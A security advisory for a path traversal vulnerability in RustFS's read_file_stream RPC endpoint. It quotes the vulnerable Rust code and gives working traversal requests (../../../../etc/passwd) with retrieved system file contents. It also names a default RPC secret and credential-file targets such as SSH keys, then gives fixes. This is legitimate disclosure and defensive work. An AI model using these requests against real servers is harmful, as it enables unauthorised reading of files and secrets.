VDB
Sign up
HIGH

GHSA-pq29-69jg-9mxc

RustFS Path Traversal Vulnerability

Details

# RustFS Path Traversal Vulnerability

## Vulnerability Details

- **CVE ID**: - **Severity**: Critical (CVSS estimated 9.9) - **Impact**: Arbitrary File Read/Write - **Component**: `/rustfs/rpc/read_file_stream` endpoint - **Root Cause**: Insufficient path validation in `crates/ecstore/src/disk/local.rs:1791`

### Vulnerable Code

```rust // local.rs:1791 - No path sanitization! let file_path = volume_dir.join(Path::new(&path)); // DANGEROUS! check_path_length(file_path.to_string_lossy().to_string().as_str())?; // Only checks length let mut f = self.open_file(file_path, O_RDONLY, volume_dir).await?; ```

The code uses `PathBuf::join()` without: - Canonicalization - Path boundary validation - Protection against `../` sequences - Protection against absolute paths

## Proof of Concept

### Test Environment

- **Target**: RustFS v0.0.5 (Docker container) - **Endpoint**: `http://localhost:9000/rustfs/rpc/read_file_stream` - **RPC Secret**: `rustfsadmin` (from RUSTFS_SECRET_KEY) - **Disk ID**: `/data/rustfs0` - **Volume**: `.rustfs.sys`

### Attack Scenario

#### Exploit Parameters

``` disk: /data/rustfs0 volume: .rustfs.sys path: ../../../../etc/passwd # Path traversal payload offset: 0 length: 751 # Must match file size ```

#### Required Authentication

RPC requests require HMAC-SHA256 signature:

```python # Signature format: HMAC-SHA256(secret, "{url}|{method}|{timestamp}") Headers: x-rustfs-signature: Base64(HMAC-SHA256(secret, data)) x-rustfs-timestamp: Unix timestamp ```

### Successful Exploits

#### 1. Read `/etc/passwd` ✅

**Request:** ``` GET /rustfs/rpc/read_file_stream?disk=/data/rustfs0&volume=.rustfs.sys&path=../../../../etc/passwd&offset=0&length=751 x-rustfs-signature: QAesB6sNdwKJluifpIhbKyhdK2EEiiyhpvfRJmXZKlg= x-rustfs-timestamp: 1766482485 ```

**Response:** HTTP 200 OK

**Content Retrieved:** ``` root:x:0:0:root:/root:/bin/sh bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin [... 15 more lines ...] rustfs:x:10001:10001::/home/rustfs:/sbin/nologin ```

**Impact**: Full user account enumeration

---

#### 2. Read `/etc/hosts` ✅

**Request:** ``` GET /rustfs/rpc/read_file_stream?disk=/data/rustfs0&volume=.rustfs.sys&path=../../../../etc/hosts&offset=0&length=172 ```

**Response:** HTTP 200 OK

**Content Retrieved:** ``` 127.0.0.1 localhost ::1 localhost ip6-localhost ip6-loopback [...] 172.20.0.3 d25e05a19bd2 ```

**Impact**: Network configuration disclosure

---

#### 3. Read `/etc/hostname` ✅

**Request:** ``` GET /rustfs/rpc/read_file_stream?disk=/data/rustfs0&volume=.rustfs.sys&path=/etc/hostname&offset=0&length=13 ```

**Response:** HTTP 200 OK

**Content Retrieved:** ``` d25e05a19bd2 ```

**Impact**: System information disclosure

---

## Technical Analysis

### Data Flow

``` 1. HTTP Request ↓ 2. RPC Signature Verification (verify_rpc_signature) ↓ 3. Find Disk (find_local_disk) ↓ 4. Read File Stream (disk.read_file_stream) ↓ 5. VULNERABLE: volume_dir.join(Path::new(&path)) ↓ 6. File Read: /data/rustfs0/.rustfs.sys/../../../../etc/passwd → /etc/passwd ```

### Path Traversal Mechanism

```rust // Example traversal: volume_dir = PathBuf::from("/data/rustfs0/.rustfs.sys") path = "../../../../etc/passwd"

// PathBuf::join() resolves to: file_path = "/data/rustfs0/.rustfs.sys/../../../../etc/passwd" = "/etc/passwd" // Successfully escaped! ```

### Why It Works

1. **No Canonicalization**: Code doesn't use `canonicalize()` before validation 2. **No Boundary Check**: No verification that final path is within volume_dir 3. **PathBuf::join() Behavior**: Automatically resolves `../` sequences 4. **Length-Only Validation**: `check_path_length()` only checks string length

### Special Considerations

- **File Size Constraint**: The `length` parameter must exactly match file size - Code validates: `file.len() >= offset + length` - Otherwise returns `DiskError::FileCorrupt` - **Volume Requirement**: Volume/bucket must exist (e.g., `.rustfs.sys`) - **Disk Requirement**: Disk must be registered in `GLOBAL_LOCAL_DISK_MAP`

## Impact Assessment

### Confidentiality Impact: HIGH

- ✅ Read arbitrary files (demonstrated) - ✅ Read system configuration files (`/etc/passwd`, `/etc/hosts`) - ⚠️ Potential to read: - SSH keys (`/root/.ssh/id_rsa`) - Application secrets - RustFS configuration files - Environment variables from `/proc`

### Integrity Impact: HIGH

- ⚠️ Similar vulnerability exists in `put_file_stream` (not tested) - ⚠️ Arbitrary file write likely possible - ⚠️ Could write to: - Cron jobs - authorized_keys - System binaries (if permissions allow)

### Availability Impact: MEDIUM

- ⚠️ `walk_dir` endpoint could enumerate entire filesystem - ⚠️ Potential DoS via recursive directory traversal

## Exploitation Requirements

### Prerequisites

1. **Network Access**: Ability to reach RustFS RPC endpoints 2. **RPC Secret Knowledge**: Knowledge of RUSTFS_SECRET_KEY - Default: `"rustfs-default-secret"` - Production: From environment variable or config 3. **Disk/Volume Knowledge**: Valid disk ID and volume name 4. **File Size Knowledge**: Exact file sizes for successful reads

### Attack Complexity

- **Without Secret**: Impossible (signature verification) - **With Secret**: Trivial (automated script) - **With Default Secret**: Critical risk if not changed

## Mitigation Recommendations

### Immediate Actions (Priority 0)

1. **Path Canonicalization** ```rust async fn read_file_stream(&self, volume: &str, path: &str, ...) -> Result<FileReader> { let volume_dir = self.get_bucket_path(volume)?;

// CRITICAL FIX: let file_path = volume_dir.join(Path::new(&path)); let canonical = file_path.canonicalize() .map_err(|_| DiskError::FileNotFound)?;

// Validate path is within volume_dir if !canonical.starts_with(&volume_dir) { error!("Path traversal attempt detected: {:?}", path); return Err(DiskError::InvalidArgument); }

// Continue with validated path... } ```

2. **Path Component Validation** ```rust // Reject dangerous path components if path.contains("..") || path.starts_with('/') { return Err(DiskError::InvalidArgument); } ```

3. **Use path-clean Crate** ```rust use path_clean::PathClean;

let cleaned_path = PathBuf::from(&path).clean(); if cleaned_path.to_string_lossy().contains("..") { return Err(DiskError::InvalidArgument); } ```

### Additional Security Measures

4. **Audit Logging**: Log all RPC file operations with full paths 5. **Rate Limiting**: Prevent DoS via repeated RPC calls 6. **Secret Rotation**: Ensure unique RPC secrets per deployment 7. **Network Segmentation**: Restrict RPC endpoint access 8. **Security Testing**: Add path traversal tests to test suite

### Long-term Improvements

9. **Chroot Jail**: Isolate RPC operations in chroot environment 10. **Least Privilege**: Run RustFS with minimal file system permissions 11. **Security Audit**: Comprehensive review of all file operations

## Proof of Concept Script

The complete PoC is available at: `exploit_path_traversal.py`

### Usage

```bash # Ensure RustFS is running docker compose ps

# Run exploit python3 exploit_path_traversal.py ```

### Output

``` [+] SUCCESS! Read 751 bytes [+] File content: ================================================================================ root:x:0:0:root:/root:/bin/sh [... full /etc/passwd content ...] ================================================================================ ```

## Acknowledgements

RustFS would like to thank **bilisheep** from the **Xmirror Security Team** for discovering and responsibly reporting this vulnerability.

Acknowledgements: RustFS would like to thank @realansgar and **bilisheep** from the **Xmirror Security Team** for providing the security report.

Are you affected?

Enter the version of the package you're using.

Affected packages

crates.io/rustfs
Introduced in: 1.0.0-alpha.13Fixed in: 1.0.0-alpha.79

Upgrade rustfs to 1.0.0-alpha.79 or newer (ecosystem crates.io).

References